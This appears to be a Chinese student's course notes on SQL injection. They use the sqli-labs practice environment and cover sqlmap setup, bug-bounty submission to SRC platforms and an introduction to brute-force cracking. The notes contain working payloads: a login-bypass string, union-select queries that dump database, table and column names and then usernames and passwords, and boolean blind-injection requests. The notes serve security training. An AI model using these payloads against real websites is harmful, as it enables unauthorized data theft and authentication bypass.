目录
SQL注入基本概念
SQL注入产生的原因
SQL注入的本质
SQL注入的两个关键点
SQL注入分类
SQL注入流程
1.寻找注入点
2.判断闭合方式
3.验证漏洞
4.判断列数及回显
5.利用联合查询,判断回显位
6.取数据库名
7.取表名
8.查列名:
9.取最后的数据:
10.总结:
盲注的基本概念
什么是盲注
盲注的分类:
盲注常用函数(分号不要忘记)
第三次课作业:
第五次课 自动化注入神器SQLMAP的使用
POST型的布尔盲注
漏洞挖掘的介绍
漏洞的定义
漏洞挖掘
OWASP TOP 10
漏洞挖掘的工具
python环境安装
sqlmap的使用
sqlmap的使用
测试单目标(get型)
编辑--的命令小心使用。 编辑
测试多目标(就是指多个关卡一起进行测试)
测试POST型
编辑
SQL漏洞的寻找及提交(也别乱来)
编辑
安全应急响应中心
漏洞盒子公益SRC
教育行业漏洞报告平台
方向
编辑
当web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或者修改数据库中的数据。
把用户输入的数据当做代码来执行,违背了“数据与代码分离的原则”。
用户能够控制输入的内容
web应用把用户输入的内容带入到数据库中执行。
SQL注入的危害:SQL中(#)号是注释作用。
:盗取网站的敏感信息。
:绕过网站后台认证。
万能密码:‘ or ‘1’ = ‘1’ #
其中第一个单引号和登陆语句本身的密码的单引号成对,or(全假才加),所以万能语 句为真,#将登陆语句后面的内容全部注释掉。
:借助SQL注入漏洞提权获取系统的权限。
:提取文件的信息。
比如密码输入、网页搜索框
?id=1sjkhd(后面的字母可以乱写)
有报错:数字型,数字类型无闭合
无报错:字符型,需要判断闭合方式,闭合方式有:'、"、')、")
将判断闭合方式语句后加一个单引号(判断闭合方式,此时语句知道类型为字符型):?id=1sjkhd'
如下:去掉我们输入的1sjkhd'后,观察右边,发现还剩下一个单引号,所以为单引号闭合方式
?id = 1 and 1 --+ 正常显示(--+与#一样,属于注释作用)真(and,全真才真)
?id = 1 and 0--+ 无显示 假
两个语句执行后,第二个语句无显示,存在漏洞。
利用order by语句:?id=1') order by 4--+ (这里的数字从大到小测试,可以采用二分法)。
如下:
?id= -1') union select 1,2,3 --+ (注意:1前面有个负号,前面得知有三列)
如下:1没有显示,接下来就只需要到2和3有回显的位置进行测试。
如上知道,可以在2和3的位置进行注入。相应位置写:database()
取数据库名(在2的位置进行注入,3也可以):?id= -1') union select 1,database(),3 --+
如下:可以得到2的数据库名为:security
?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database()),3 --+
其中database()写成security也可以
information_schema:就是指数据库(点tables就是指数据库下的一张表)
group_conat:将我们查到的内容进行输出。
table——name:表名
对取表名的语句进行修改:?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database().....),3 --+
修改后:?id=-1') union select 1,(select column_name) from information_schema.column where table_schema=database() and table_name='users',3++
其中:users为上面查到的表名,可以随便选一个来查询。
如下就可以知道:在users下有如下三个列名
?id=-1') union select 1, ( select group_concat(username)from users ,3 --+
如下,就取出了username下的全部数据内容
这里,可以在2的位置写上username,3的位置写上password,就可以的到全部数据
?id=-1') union select 1,group_concat (username),group_concat(password) from users --+
指在SQL注入的过程中,找到注入点后,执行SQL语句后,选择的数据或者错误信息不能回显到前端页面。
这里需要利用一些方法进行判断或者猜测,这个过程称之为盲注。
第八关就用到盲注的方法。因为当输入?id=1时,出现的是:You are in .......
只有两种显示,输入正确的语句,就显示you are in ......,输入错误的东西,就不显示内容。
sqli-labs-master的第15关(正确的用户名和密码是admin,输入正确的羡慕会显示蓝色字体,错误的会显示红色字体)
正确就会显示flag.jpg。
1.判断闭合方式,单引号,双引号,单引号括号,自己测试,后面raw回应里面如果是flag.jpg,就是正确的闭合方式,改题就是单引号闭合方式。
关于and和or,当知道用户名时用and,当用户名不知道是,用or
2.用length函数判断数据库长度:每一个函数后面的语句都要用括号扩起来。
uname=adin' or length(database())=8#&passwd=sdmin&submit=Submit
3.判断数据库的第一个字符,用ASCII函数和substr截取数据的第一个字母
uname=adin' or ascii(substr(database(),1,1))=115#&passwd=sdmin&submit=Submit
4.后面依次去盲注,慢慢做
漏洞是指对任何风险或者威胁的可能性,这些风险或者威胁可能会损害存储在系统或者网络中信息的完整型,对其进行修改或者被攻击者用于灾难性目的。对网站(计算机)可以造成危害、影响的都归类为漏洞。
漏洞挖掘是指对应用程序中未知漏洞的探索,通过综合利用各种技术和工具,尽可能地找出其中的潜在漏洞。一般情况下漏洞挖掘针对单一的应用系统,通过端口扫描、目录扫描、文件扫描等方式对其进行信息收集,然后再进行漏洞挖掘。信息收集越多越好。
OWASP TOP 10是由开放的web应用程序安全项目(OWASP)建立的公开共享的10个关键的web应用程序安全漏洞列表。根据OWASP,漏洞是程序中的一个弱点,它允许恶意方(攻击者)对应用程序的利益相关写(所有者、用户等)造成伤害。
https://www.python.org/ftp/python(安装版本)
https://www.python.org/downloads/(官网)
没有版本要求,看自己的电脑配置
注意,安装时,将add Python.exe to path要勾选上,这样就不用我们自己再去配置环境变量了。
下载:https://sqlmap.org/
将文件解压后就可以使用,不需要安装。点击cmd,进入sqlmap.py,出现这样的界面就是正确的,如果不正确,检查Python程序的名字。
在没有进行Python环境配置的情况,找到下载的sqlmap文件夹,在搜索栏搜索cmd按回车后,输入Python sqlmap.py也可以。
发现漏洞后,不去取里面的数据就没什么大的问题,提交到相应的平台即可。
网站里面有.gov的,在未授权的情况下,千万不要去碰。
测试是否存在漏洞
如果有漏洞,可以提交到相应的平台
SRC(security response center)是安全研究者反馈厂商产品和业务安全问题的官方平台,该平台旨在加强厂商与安全业界的合作,提升厂商整体安全水平,打造健康安全的互联网出行生态。
安全客里面提交漏洞。找到相应网站
公益SRC是白帽子随机发现的漏洞提交平台呢。
网站:https://src.sjtu.edu.sn/
就是指使用暴力的方式进行用户名和密码的破解,也就是指反复尝试错的方法来尝试你破解用户名或者密码。
比如:我们拿到一个网站的后台管理页面,但是不知道用户名和密码,这个时候,我们可以利用字典进行暴力破解。
为什么要进行暴力破解:一种获取用户名和密码的方式,
要与浏览器的代理相同